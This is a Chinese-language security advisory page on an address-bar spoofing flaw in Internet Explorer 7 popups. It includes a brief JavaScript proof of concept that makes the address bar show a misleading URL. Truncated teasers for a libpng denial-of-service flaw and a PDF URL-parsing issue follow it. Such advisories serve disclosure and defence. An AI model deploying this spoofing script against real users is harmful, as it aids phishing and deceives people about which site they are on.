IE7弹出窗口地址栏URI欺骗漏洞
所属分类：
网络安全 / 漏洞分析
阅读数：
100
收藏 0赞 0分享
受影响系统：
Microsoft Internet Explorer 7.0
描述：
BUGTRAQ ID: 28498
Internet Explorer是微软发布的非常流行的WEB浏览器。
如果用户用IE访问了恶意网页的话，则弹出窗口的地址栏可能为任意地址而窗口主题中为任意页面或内容。这有助于攻击者执行网络钓鱼攻击。
<*来源：Juan Pablo Lopez Yacubian (jplopezy@gmail.com)
链接：http://marc.info/?l=bugtraq&m=120673515616258&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负!
<script language="JavaScript">
function iniciar()
{
nuevaventana = window.open("", "Win", "width=500,height=500,location=1");
nuevaventana.document.location = "http://www.google.com.ar/#" "www.microsoft.com/";
}
iniciar()
</script>
建议：
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp
解析PNG图象格式库存在远程拒绝服务漏洞
受影响系统：
libpng libpng <= 1.2.20
不受影响系统：
libpng libpng 1.2.21
描述：
-------------------------------------------
收藏 0赞 0分享
URL解析漏洞在PDF文档中的利用
右键另存再打开测试文档，否则会调用IE的插件打开，测试会失败。如果你硬要通过点击打开的话，点击这里吧,嘿嘿，这本身也是IE的一个解析漏洞。
在http://seclists.org/fulldisclosure/2007/Oct/0068.html看到这个漏洞的时候，
收藏 0赞 0分享
